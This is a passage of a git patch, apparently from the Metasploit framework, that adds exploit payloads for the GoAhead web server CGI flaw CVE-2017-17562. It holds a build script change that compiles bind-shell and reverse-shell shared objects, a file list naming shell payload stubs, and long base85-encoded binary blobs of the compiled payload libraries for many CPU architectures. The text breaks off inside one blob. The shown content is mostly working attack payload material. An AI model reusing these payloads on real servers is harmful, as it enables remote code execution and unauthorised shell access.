From ab8886e25c52e19e5c4885ac2877bbcd020e97b8 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 28 Dec 2017 16:21:37 -0600 Subject: [PATCH] Updated payloads and addition of payload stubs --- data/exploits/CVE-2017-17562/build.sh | 4 +- ...goahead-cgi-bind-linux-glibc-aarch64.so.gz | Bin 0 -> 2147 bytes .../goahead-cgi-bind-linux-glibc-armel.so.gz | Bin 0 -> 2067 bytes .../goahead-cgi-bind-linux-glibc-armhf.so.gz | Bin 0 -> 1999 bytes .../goahead-cgi-bind-linux-glibc-mips.so.gz | Bin 0 -> 2386 bytes .../goahead-cgi-bind-linux-glibc-mips64.so.gz | Bin 0 -> 2519 bytes ...oahead-cgi-bind-linux-glibc-mips64el.so.gz | Bin 0 -> 2506 bytes .../goahead-cgi-bind-linux-glibc-mipsel.so.gz | Bin 0 -> 2390 bytes ...goahead-cgi-bind-linux-glibc-powerpc.so.gz | Bin 0 -> 2765 bytes ...ahead-cgi-bind-linux-glibc-powerpc64.so.gz | Bin 0 -> 2905 bytes ...ead-cgi-bind-linux-glibc-powerpc64le.so.gz | Bin 0 -> 2675 bytes .../goahead-cgi-bind-linux-glibc-s390x.so.gz | Bin 0 -> 2412 bytes .../goahead-cgi-bind-linux-glibc-sparc.so.gz | Bin 0 -> 2206 bytes ...goahead-cgi-bind-linux-glibc-sparc64.so.gz | Bin 0 -> 2331 bytes .../goahead-cgi-bind-linux-glibc-x86.so.gz | Bin 0 -> 2213 bytes .../goahead-cgi-bind-linux-glibc-x86_64.so.gz | Bin 0 -> 2235 bytes .../CVE-2017-17562/goahead-cgi-bind.c | 95 ++++++++++++++++++ ...head-cgi-reverse-linux-glibc-aarch64.so.gz | Bin 0 -> 1995 bytes ...oahead-cgi-reverse-linux-glibc-armel.so.gz | Bin 0 -> 1965 bytes ...oahead-cgi-reverse-linux-glibc-armhf.so.gz | Bin 0 -> 1901 bytes ...goahead-cgi-reverse-linux-glibc-mips.so.gz | Bin 0 -> 2279 bytes ...ahead-cgi-reverse-linux-glibc-mips64.so.gz | Bin 0 -> 2426 bytes ...ead-cgi-reverse-linux-glibc-mips64el.so.gz | Bin 0 -> 2420 bytes ...ahead-cgi-reverse-linux-glibc-mipsel.so.gz | Bin 0 -> 2288 bytes ...head-cgi-reverse-linux-glibc-powerpc.so.gz | Bin 0 -> 2681 bytes ...ad-cgi-reverse-linux-glibc-powerpc64.so.gz | Bin 0 -> 2770 bytes ...-cgi-reverse-linux-glibc-powerpc64le.so.gz | Bin 0 -> 2573 bytes ...oahead-cgi-reverse-linux-glibc-s390x.so.gz | Bin 0 -> 2253 bytes ...oahead-cgi-reverse-linux-glibc-sparc.so.gz | Bin 0 -> 2111 bytes ...head-cgi-reverse-linux-glibc-sparc64.so.gz | Bin 0 -> 2234 bytes .../goahead-cgi-reverse-linux-glibc-x86.so.gz | Bin 0 -> 2094 bytes ...ahead-cgi-reverse-linux-glibc-x86_64.so.gz | Bin 0 -> 2130 bytes .../CVE-2017-17562/goahead-cgi-reverse.c | 81 +++++++++++++++ ...ad-cgi-shellcode-linux-glibc-aarch64.so.gz | Bin 1773 -> 1773 bytes ...head-cgi-shellcode-linux-glibc-armel.so.gz | Bin 1808 -> 1808 bytes ...head-cgi-shellcode-linux-glibc-armhf.so.gz | Bin 1778 -> 1778 bytes ...ahead-cgi-shellcode-linux-glibc-mips.so.gz | Bin 2048 -> 2048 bytes ...ead-cgi-shellcode-linux-glibc-mips64.so.gz | Bin 2131 -> 2131 bytes ...d-cgi-shellcode-linux-glibc-mips64el.so.gz | Bin 2128 -> 2128 bytes ...ead-cgi-shellcode-linux-glibc-mipsel.so.gz | Bin 2065 -> 2065 bytes ...ad-cgi-shellcode-linux-glibc-powerpc.so.gz | Bin 2432 -> 2432 bytes ...-cgi-shellcode-linux-glibc-powerpc64.so.gz | Bin 2439 -> 2439 bytes ...gi-shellcode-linux-glibc-powerpc64le.so.gz | Bin 2270 -> 2270 bytes ...head-cgi-shellcode-linux-glibc-s390x.so.gz | Bin 2047 -> 2047 bytes ...head-cgi-shellcode-linux-glibc-sparc.so.gz | Bin 1870 -> 1870 bytes ...ad-cgi-shellcode-linux-glibc-sparc64.so.gz | Bin 1971 -> 1971 bytes ...oahead-cgi-shellcode-linux-glibc-x86.so.gz | Bin 1846 -> 1846 bytes ...ead-cgi-shellcode-linux-glibc-x86_64.so.gz | Bin 1846 -> 1846 bytes ...ahead-cgi-system-linux-glibc-aarch64.so.gz | Bin 1657 -> 1657 bytes ...goahead-cgi-system-linux-glibc-armel.so.gz | Bin 1701 -> 1701 bytes ...goahead-cgi-system-linux-glibc-armhf.so.gz | Bin 1682 -> 1682 bytes .../goahead-cgi-system-linux-glibc-mips.so.gz | Bin 1908 -> 1908 bytes ...oahead-cgi-system-linux-glibc-mips64.so.gz | Bin 1988 -> 1988 bytes ...head-cgi-system-linux-glibc-mips64el.so.gz | Bin 2000 -> 2000 bytes ...oahead-cgi-system-linux-glibc-mipsel.so.gz | Bin 1921 -> 1921 bytes ...ahead-cgi-system-linux-glibc-powerpc.so.gz | Bin 2314 -> 2314 bytes ...ead-cgi-system-linux-glibc-powerpc64.so.gz | Bin 2272 -> 2272 bytes ...d-cgi-system-linux-glibc-powerpc64le.so.gz | Bin 2136 -> 2136 bytes ...goahead-cgi-system-linux-glibc-s390x.so.gz | Bin 1879 -> 1879 bytes ...goahead-cgi-system-linux-glibc-sparc.so.gz | Bin 1735 -> 1735 bytes ...ahead-cgi-system-linux-glibc-sparc64.so.gz | Bin 1843 -> 1843 bytes .../goahead-cgi-system-linux-glibc-x86.so.gz | Bin 1717 -> 1717 bytes ...oahead-cgi-system-linux-glibc-x86_64.so.gz | Bin 1736 -> 1736 bytes .../payloads/singles/cmd/unix/bind_stub.rb | 43 ++++++++ .../payloads/singles/cmd/unix/reverse_stub.rb | 42 ++++++++ 65 files changed, 263 insertions(+), 2 deletions(-) create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-aarch64.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-armel.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-armhf.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mips.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mips64.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mips64el.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mipsel.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-powerpc.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-powerpc64.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-powerpc64le.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-s390x.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-sparc.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-sparc64.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-x86.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-x86_64.so.gz create mode 100644 data/exploits/CVE-2017-17562/goahead-cgi-bind.c create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-aarch64.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-armel.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-armhf.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mips.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mips64.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mips64el.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-mipsel.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-powerpc.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-powerpc64.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-powerpc64le.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-s390x.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-sparc.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-sparc64.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-x86.so.gz create mode 100755 data/exploits/CVE-2017-17562/goahead-cgi-reverse-linux-glibc-x86_64.so.gz create mode 100644 data/exploits/CVE-2017-17562/goahead-cgi-reverse.c create mode 100644 modules/payloads/singles/cmd/unix/bind_stub.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_stub.rb diff --git a/data/exploits/CVE-2017-17562/build.sh b/data/exploits/CVE-2017-17562/build.sh index 27b3308425..c3ace7b30c 100755 --- a/data/exploits/CVE-2017-17562/build.sh +++ b/data/exploits/CVE-2017-17562/build.sh @@ -6,8 +6,8 @@ build () { CFLAGS=$3 echo "[*] Building for ${TARGET_SUFFIX}..." - for type in {shellcode,system} - do ${CC} ${CFLAGS} -Wall -fPIC -fno-stack-protector -Os goahead-cgi-${type}.c -s -shared -o goahead-cgi-${type}-${TARGET_SUFFIX}.so + for type in {shellcode,system,reverse,bind} + do ${CC} ${CFLAGS} -Wall -fPIC -fno-stack-protector -Os goahead-cgi-${type}.c -s -shared -o goahead-cgi-${type}-${TARGET_SUFFIX}.so done } diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-aarch64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-aarch64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..57395f4622838da2f25faeae74f1a32d5a2b42df GIT binary patch literal 2147 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 hUd+FRy52*LB>qNH{ zh3lkE*NIF;LYH>`bR=Nk?_a>T`@XPbQC-vEZ{T~gruTi?QcSh$<_I7B(s4TR=j#Wr zeS6d3w|;Zt*V{(_Fh2hNB~$hN9;glR@8!Utcn$m^<>$lo@#&{Uyr`*7#Dzk8!8gIg zR`6DkA!buEM!-7&xd7e?S^#yadE)-Gg0Mq+LD(TG2s^Z?Alixf?o^!HwdOtV9-wJ( zkK2PI_8T6hkN*k#s;tZL3g7wTb+}QD<3Tw#YL;UabM=54$EN}|9|CPwWZeJ9Ps|%P;&J>H@qdftAlRpEYChQ!_WzI2lhR`xS{U*TCG!|R z^0n^~agb{X1NZ(0_ItHYS$ZcCqEa! zuRve$>0g9A;gf#>dE6(z0eQqHzXLhulWTkL5y^fGeblGNUT-sea$mrouLs)yREDL7 zpGO#O`Q-0FUaQIR_|!~37kAu5(T&F`p2=lgicb~d>5NmL_#|YCA3An8p0Xr)b8W zNfqYE$)`@*E}@c3`GQLcH=m(oCYPoxH_uTjn|ExoXW?ohm9hazmkN7OVW+adBvY1? zw}#=pYtLddlj($;ptvnrJn1-cywIQw1uP#NJG5^!zQ@{AE5)iOS?#Y{*2T`P{?~nF z-UL#XsQ1)frbs5!DYu9w_BUiho#|bT=cYLGLTZmN4=diHc$?zYv#wk59>seVk1B2| zKA`w6#bb&ODb9N;w6~Y^{@1?Q9lEr(z5lAWw(<@cEALWoZ#TE0@X>q3E5B z;_&E@>sPj0_+99`Yulk8=zp@+gziIuhm8R4Eg!B7-M^~13i=AIQA_{T>hi9&DYH+N zvuJbGn?T!H_|{{djkLkP*H(T+7gye-3oAdQCH8G)l@?*I2e|R7uiYawDe7J-_nJET zx>TO-U!|zIf%ckL3|hHNWyb0h#U6|GG1hD%-3*fs>chg1%VeOeGye6<^ep=i+ z1NT*7W0|InqtvR#GX|fUgr8{BeUw^M{S(zXB|j_r!0C!|x*xXDSGJ1r;Y2$cS?cRN z>V2f@T%v(KfgOqVp+Bu!@2k^;bwYl*Jg{>x65VM~_(InHjA9M;zLGSq!M8s2S1{PeGvz337kJ!@`_-C%8UDlj9EX?m5#J%GyJ)bouD8l;&W5)^8Q~m+;`lzve@oVg-T<4+;#Z5^;#~X9u1BcZ?C?CZ z(0-F`?KHf*=W*NFJm}pOXU4nt`Of>x2(8VE^=9_q>}r%B4#-;q^5%g2U_kB;$Xx-s zGaz>aWFsIy5RfAQxixs(lJT1_1kdQkGj@Kwe#UMZ!Q3BN?~EPWA0Iz*VC>6JV=X?; zA21GH54%fFaW{T)cPA4p)@4YwvQ*XObO4(Q=uZaZWXYLJ=4a`X@00KU@-?q|^1Vh? zuHN3b3q^1*ir^g|!Tl$K)gQqfJ%Zn<2=4BYGzfS42!016xa&vGg35l&Lg06%xE12= zq_y92B|)IF2${PLb(f3ESp9d~uuKR7!2RCM5YvXpa6 z(Z{VJEB4rMNl1e)4h~zfA#3n6vOc;eHaHv`jy);HUv3v;zw2{qS-n5E@k6M6DpwL? zXbv}#3 z@yTLh#+LYaqF7AKk(F}uML^S%J(q%A37^Wtnj_16&$m+fnHf8W%0gN>mT=u-CRuXv z7O`g1cCs|ZgZ|u}kF&^HF`+5jm7=sxA5QM+a0MLYH|JChbPu7lGmRd06EKbeV@?(zg0v zFp3{nxe{IGNkp#XDPO<3qNL2N2wYkc#Zf@U5bOExzI0zppx>&EdyV!wdV(2L9}hL+w6-Ab-_#k9lhhUf E0N6m{r~m)} literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mips64.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mips64.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..8e1afd7d6625402faf3d65cb337873e4c415b3d7 GIT binary patch literal 2519 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 literal 0 HcmV?d00001 diff --git a/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mips64el.so.gz b/data/exploits/CVE-2017-17562/goahead-cgi-bind-linux-glibc-mips64el.so.gz new file mode 100755 index 0000000000000000000000000000000000000000..8e64c65f7d86313b8e8d371fc40d5fca2cd6ab26 GIT binary patch literal 2506 zcmV;*2{rZ~iwFo!YeiZD17~kxXk}q!En{bCEn;bIWG!rIZgqGqXKZO=V=ZlIaC0^^ zWo#~UZvgEYOKcm*^>Il_v}4&TS+SMahE|4zvL8{D;228l17pdx9muVsI)IxVXp+04 zSW6_!UAmGRG~3t#g!WK6K~M!yQPzMRA6i&Ra|l`&c8ea=910zBP!ZK6iUd$Eg@7ag z3m4wL*?mLpPDoo#fu8t;)tmR`{bt_G?1FDzIx+rr$>#$Oeh31iB9A$Al=vHm9oz*?o8K9Afn*t0FUPke3LlG_FTZOO6JJxq?xWtY7^0ZxA7dB|ih&VBzo-~M1C{@ngU zvwt{zWB$b7+~a-^xPJ#qJ00B4=UsO26X4Cy0r+hG?ck`v*Q`tetvpWZAUDuOfjlOx ze?MVUaRm7CF79w}C$~@fdpW(8*PMHtEkx6DWbx$O^S6^|KJE^p4?@kKhu%vxAIAgB z$})VO;ZIrh?_&ko!j;%R?{WJ%iw2s`savv;G@);gCFxfAjmHfe{+wQA8%mi z2FX_h`2z7*1^%Cie^=oDlK9I4|F^_134AsyhwH@iYmzSt@|THk3jBi&#x>c%{vEQD z6YN|f{&|6amG~0^A7Zi8Y&H|qjdqz#BoA%fWHvu9$eme*2g-O%!9&y3Dw zGuqjBVn%cN>i5Kwb8%)MK9jzLqrwbR&pG0j1-gswZo#2##82U2$k&O86X}Y||3#Z14fV-%F(J_wMUXe^8)hf$kP)MW90h9TDgefsP9FDS@64 z=yL*nUZAH1dal?P*;x-ze{>Dt>3a 